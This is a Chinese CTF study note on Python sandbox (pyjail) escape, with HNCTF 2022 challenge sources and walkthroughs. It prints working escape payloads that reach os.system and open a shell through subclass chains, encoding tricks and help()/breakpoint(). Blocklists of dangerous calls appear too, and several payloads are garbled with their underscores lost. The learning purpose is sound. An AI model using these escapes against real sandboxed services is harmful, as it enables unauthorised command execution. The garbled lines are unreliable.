Python沙箱逃逸(pyjail)
参考链接:
https://note.tonycrane.cc/ctf/misc/escapes/pysandbox/
https://ctf-wiki.org/pwn/sandbox/python/python-sandbox-escape/
https://www.cnblogs.com/mumuhhh/p/17811377.html
https://www.bilibili.com/video/av1506392148/
https://dummykitty.github.io/python/2023/05/29/python-沙箱逃逸原理.html
感谢:crazyman,又让我学到了许多东西
来自CTFWiki的解释:所谓沙箱逃逸就是绕过模拟的python终端,最终实现命令执行
Python特性,魔术方法及魔术属性
Python所有的类均继承自object基类,python中的一切都是对象特性,带有继承的特性更多
魔术方法 | 魔术属性 |
---|---|
init | 对象初始化方法,在创建对象时调用 |
repr | 返回对象的"官方"字符串表达式 |
str | 返回对象的"非正式"或友好字符串表达式 |
len | 返回对象长度 |
getitem | 获取对象指定键的值 |
setitem | 设置对象指定键的值 |
delitiem | 删除对象指定键的值 |
iter | 返回一个迭代器对象 |
contains | 检查对象是否包含指定元素 |
call | 实例对象作为函数调用时调用 |
base | 返回当前类的基类,如str.__base__会返回<class 'object'> |
subclasses() | 查看当前子类组成列表 |
builtins | 以一个集合形式查看其引用 |
getattr,setattr,delattr | 处理对象属性获取,设置和删除 |
enter,exit | 定义在使用with语句时对象上下文管理行为 |
globals | 返回所有全局变量的函数 |
locals | 返回所有局部变量的函数 |
import | 载入模块的函数,例如import os等价于os=import('os') |
file | 该变量指示当前运行代码所在路径 |
_ | 该变量返回上一次运行python语句结果,注意:该变量仅在运行交互式终端时产生,在运行代码文件时不会有此变量 |
chr,ord | 字符与ASCII码转换函数 |
dir | 查看对象属性和方法 |
doc | 类的帮助文档,默认类均有帮助文档,对于自定义类,需要自己实现 |
Pyjail基础解法,payload构造
Python导入模块的三种方法:
- import xxx
- from xxx import
- import('xxx')
附加:路径引用,例如:import sys->sys.modules['os']='/user/lib/python2.7/os.py->import os
基础payload
print(open('/flag').read())
__import__('os').system('cat flag')
__import__('os').system('sh')
#读文件
().__class__.__bases__[0].__subclasses__()[40]('\etc\password').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')
eval和evec,compile
eval(expression[, globals[, locals]])
exec(expression[, globals[, locals]])
'''
用法基本相似,
expression执行表达式,
globals全局变量(必须字典),
locals局部变量(任意mapping object,一般是字典)
不同点:
eval将表达式计算出来,结果返回,不会影响当前环境
exec将表达式作为py语句运行,可以进行赋值等操作(题目中不常见)
eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。
'''
使globals,locals为空字典访问不到全局变量和局部变量,从而构造沙箱
ast.literal_eval更加的安全,因此题目碰到这个基本就不是沙箱逃逸了
compile() 函数是一个内置函数,它可以将源码编译为代码或 AST 对象。编译的源码可以是普通的 Python 代码,也可以是 AST 对象。如果它是一个普通的 Python 代码,那么它必须是一个字符串。如果它是一个 AST 对象,那么它将被编译为一个代码对象
#基础语法
compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)
#source:要编译的源代码。它可以是普通的 Python 代码,或者是一个 AST 对象。如果它是普通的 Python 代码,那么它必须是一个字符串。
#filename:源代码的文件名。如果源代码没有来自文件,你可以传递一些可识别的值。
#mode:源代码的种类。可以是 ‘exec’,’eval’ 或 ‘single’。’exec’ 用于模块、脚本或者命令行,’eval’ 用于简单的表达式,’single’ 用于单一的可执行语句。
#flags 和 dont_inherit:这两个参数用于控制编译源代码时的标志和是否继承上下文。它们是可选的。
#optimize:用于指定优化级别。默认值为 -1。
#mode 参数决定了如何编译输入的源代码。具体来说,它有三个可能的值: ‘exec’,’eval’ 和 ‘single’。
#‘exec’: exec 方式就类似于直接使用 exec 方法,可以处理换行符,分号,import语句等。
#‘eval’: eval 方式也就类似于直接使用 eval,只能处理简单的表达式,不支持换行、分号、import 语句
#‘single’:这个模式类似于 ‘exec’,但是它只用于执行单个语句(可以在语句中添加换行符等)
沙箱
基于audit hook的沙箱
Python 3.8 中引入的一种 audit hook 的新特性。审计钩子可以用来监控和记录 Python 程序在运行时的行为,特别是那些安全敏感的行为,如文件的读写、网络通信和动态代码的执行等。
sys.addaudithook(hook) 的参数 hook 是一个函数,它的定义形式为 hook(event: str, args: tuple)。其中,event 是一个描述事件名称的字符串,args 是一个包含了与该事件相关的参数的元组。
一旦一个审计钩子被添加,那么在解释器运行时,每当发生一个与安全相关的事件,就会调用该审计钩子函数。event 参数会包含事件的描述,args 参数则包含了事件的相关信息。这样,审计钩子就可以根据这些信息进行审计记录或者对某些事件进行阻止。
注意,由于 sys.addaudithook() 主要是用于增加审计和安全性,一旦一个审计钩子被添加,它不能被移除。这是为了防止恶意代码移除审计钩子以逃避审计。
...
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
...
sys.addaudithook(my_audit_hook)
if __name__ == '__main__':
main()
该沙箱实现对'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen' 这些函数进行了限制,一旦调用则抛出异常.
我们将上边的方法称为"黑名单",然而"白名单"比"黑名单"限制更大,如下:只允许 input exec compile 等函数的调用
...
def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))
...
if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()
一般的 payload 无法使用:
> __import__('ctypes').CDLL(None).system('ls /'.encode())
Operation not permitted: import
> [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
Operation not permitted: os.system
基于AST的沙箱
Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。 下面是Python ast模块的一些常见节点类型:
名称 | 解释 |
---|---|
ast.Module | 表示一个整个的模块或者脚本 |
ast.FunctionDef | 表示一个函数定义 |
ast.AsyncFunctionDef | 表示一个异步函数定义 |
ast.ClassDef | 表示一个类定义 |
ast.Return | 表示一个return语句 |
ast.Delete | 表示一个del语句 |
ast.Assign | 表示一个赋值语句 |
ast.AugAssign | 表示一个增量赋值语句,如x += 1 |
ast.For | 表示一个for循环 |
ast.While | 表示一个while循环 |
ast.If | 表示一个if语句 |
ast.With | 表示一个with语句 |
ast.Raise | 表示一个raise语句 |
ast.Try | 表示一个try/except语句 |
ast.Import | 表示一个import语句 |
ast.ImportFrom | 表示一个from…import…语句 |
ast.Expr | 表示一个表达式 |
ast.Call | 表示一个函数调用 |
ast.Name | 表示一个变量名 |
ast.Attribute | 表示一个属性引用,如x.y |
以上列举的只是ast模块中一部分的节点类型,还有很多其他类型的节点。更详细的列表可以在Python官方文档的ast模块部分找到。 | |
一些 CTF 题目就采用了检查 AST 节点构建沙箱, 下面是一个示例. 在这个示例中, verify_secure 函数对 compile 之后的代码进行校验, 禁止 ast.Import | ast.ImportFrom |
import ast
import sys
import os
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)
Pyjail绕过方法
基于长度限制的绕过
- help
输入help(),这里字符串长度6会进入正常调用eval函数,在help交互式下,输入任意模块名称得该模块的帮助文档,如sys,在Linux中,呈现帮助文档时,实际调用系统的less或more命令,利用这两个命令执行本地命令特性获取shell,继续按#!,执行外部命令sh即可(!ls,!cat flag) - breakpoint()
该函数在程序执行任何位置调用,当程序执行到这个位置时,它将暂停并打开交互式调试器
list input_data = import('os').system('sh') - 多次交互进行拼接
"_"函数字符拼接
'00'
_+' aaa'
+' bbb'
eval()
基于字符串匹配过滤的绕过
所有数字被禁用
- 函数返回
0:int(bool([])),Flase,len([]),any(())
1:int(bool([""])),True,all(()),int(list(dict(aɔ=())).pop()).pop()) - 字符串取整
len(repr(True)),len(repr(bytearray)) - len+dict+list
0->len([])
2->len(list(dict(aa=()))[len([])])
3->len(list(dict(aaa=()))[len([])]) - bytes&type
bytes = type(str(1).encode())
以system("cat flag")为例:
[].class.mro[-1].subclasses()[-4].init.globals(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()
以system("ls")为例:
[].class.mro[-1].subclasses()[-4].init.globals(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()
属性名,过滤class,import等 - getattr函数:获取对象属性和方法
- __getattribute__函数
- __getattr__函数
- __globals__替换
- mro,bases,__base__互换
基于多行限制的绕过
- exec
eval("exec('import("os")\nprint(1)')") - compile
eval('''eval(compile('print("hello world");print("heyy")','','exec'))''') - 海象表达式
eval('[a:=import("os"),b:=a.system("id")]')
基于模块删除绕过
基于继承链获取
所有类的基类都是object
查看变量所属的类(().class)
根据变量的类得到其所属的类(().class.bases)
反查object类的子类组成列表(().class.bases[0].subclasses())
(().class.base.subclasses())
获取当前Python环境中所有对象的子类列表
[].class.base.subclasses()[40]获得第40个子类
python2与python3差异
python2中file类可以直接用来读取文件
[].class.bases[0].subclasses()40.read()
python3中file类已经没有了,用<class'_frozen_importlib_external.FileLoader'>读取文件
{{().class.bases[0].subclasses()[79]"get_data"}}
{{().class.bases[0].subclasses()79.communicate()[0]}}
内建函数eval函数执行命令
{{".class.bases[0].subclasses()[166].init.globals__['builtins']'eval'}}
几个含有eval函数的类:
warings.catch_warnings
WaringMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
unicode绕过
Python3开始支持非ASCII字符的标识符,也就是说,可以使用Unicode字符作为Python变量名,函数名等。python在解析代码时,可以使用Unicode Normalization From KC(NTKC)规范化算法,将一些视觉上相似的Unicode字符统一为一个标准化
input
python2中,input函数从标准输入接收输入并自动eval求值,返回所求值;raw_input函数从标准输入接收输入,返回输入字符串
python3中,input函数从标准输入接收输入返回输入字符串
python2 input() = python2 eval(raw_input()) = python3 eval(input())
对于python2的input,相当于存在命令执行,可以rce
获取全局变量的方法
函数利用:vars(),globals()
help():进入help,查__main__
例题
[HNCTF 2022 Week1]calc_jail_beginner(JAIL)
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`
WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
签到,open('flag').read()
[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
过滤部分符号,之前有讲过字符串匹配,运用chr方法拼接,open(chr(102)+chr(108)+chr(97)+chr(103)).read()
[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!
WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
限制输入长度小于等于13,直接使用eval方法逃逸,eval(input())进入交互状态,open('flag').read()
[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
依旧是限制输入长度,这次限制更高要小于等于7,想到之前讲到的help()方法,赶紧试一下
[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)
WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
禁用"exec","input","eval"并且输入限制小于等于13,使用help()方法发现在进入!阶段会出现错误,想想我们还有unicode方法
这里粘贴一个unicode脚本:
from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict
lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
for i in range(0x110000):
if normalize("NFKC", chr(i)) == char:
dic[char].append(chr(i))
if len(dic[char]) > 9:
break
print(dic)
用𝓮val(inp𝓾t())
ok?!要不再试试方法二:breakpoint()截断获取
[HNCTF 2022 Week1]python2 input(JAIL)
# It's escape this repeat!
WELCOME = '''
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
'''
print WELCOME
print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data
最简单的题目,import("os").system("cat flag")
[HNCTF 2022 Week1]lake lake lake(JAIL)
#it seems have a backdoor
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
backdoor()需要密码才能进入,应该取func里边看看,func限制输入小于等于9,我们要获取一个变量,可以用globals()方法。vars()试了以下不行,这两个还是有点区别的
key=a34af94e88aed5c34fb5ccfe08cd14ab
[HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
backdoor()依旧需要密码才能进入,应该取func里边看看,func限制输入小于等于6,我们要获取一个变量,用一下vars(),不行,使用help()看看都能干啥,用__main__查看密钥
[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)
没有源码,找了个非预期
正解应该是要用dir()
import('os').system('bash')获取终端,看到flag,直接cat flag即可,出于好奇,我又去看了一下源码
cat server.py
#It's an challenge for jaillevel5 let's read your flag!
import load_flag
flag = load_flag.get_flag()
def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()
def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)
if __name__ == '__main__':
main()
cat load_flag.py
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open('flag') as f:
return flag_level5(f.read())
[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))
ban掉了'loader', 'import', 'compile', 'eval', 'exec', 'chr',只能使用bytes了
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
依旧采用bytes().decode()的方法解决,构造payload:system("cat flag")
[].class.mro[-1].subclasses()[-4].init.globals(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()
[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)
没给源码
_ _ _ _ _ _ _ _____ __
| | (_) (_) (_) | | | | ____/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__ | |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
__/ | _/ |
|___/ |__/
It's so easy challenge!
Seems flag into the dir()
open(),help(),__import__都被ban了,dir()查看一下吧
> dir()
['__builtins__', 'my_flag']
#有个my_flag跟进一下
> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']
#发现flag_level5,继续跟进
> dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
#发现'encode',可以用这个方法实现
> my_flag.flag_level5.encode()
b'flag=NSSCTF{a349b847-6f62-48ca-8227-a764c7249532}\n'
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
很好,bytes也ban掉了,使用type方法,根据提示flag再文件夹下,所以应先使用system('sh')
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([115])+type(str(1).encode())([104])).decode())
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{d4e05194-e1b5-4512-834a-a0d8b05242fd}
#顺带看一下源码
$ cat server.py
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_ABDC8732 = eval
my_input_func_001EC9GP = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,\",' Good luck!")
input_data = my_input_func_001EC9GP("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_ABDC8732(input_data)))
找到大佬的其他方法,赶紧学习一下
方法+1:doc
().class.base.subclasses()[-4].init.globals().doc[19]+().doc[86]+().doc[19]+().doc[4]+().doc[17]+().doc[10]
方法++1:利用Show subclasses with tuple找到bytes类:
().class.base.subclasses()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>....
发现bytes的类的索引是6
().class.base.subclasses()[-4].init.globals[().class.base.subclasses()[6]([115, 121, 115, 116, 101, 109]).decode()](().class.base.subclasses()[6]([115, 104]).decode())
不管哪个方法,目的都是一样的,为了进入sh
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)
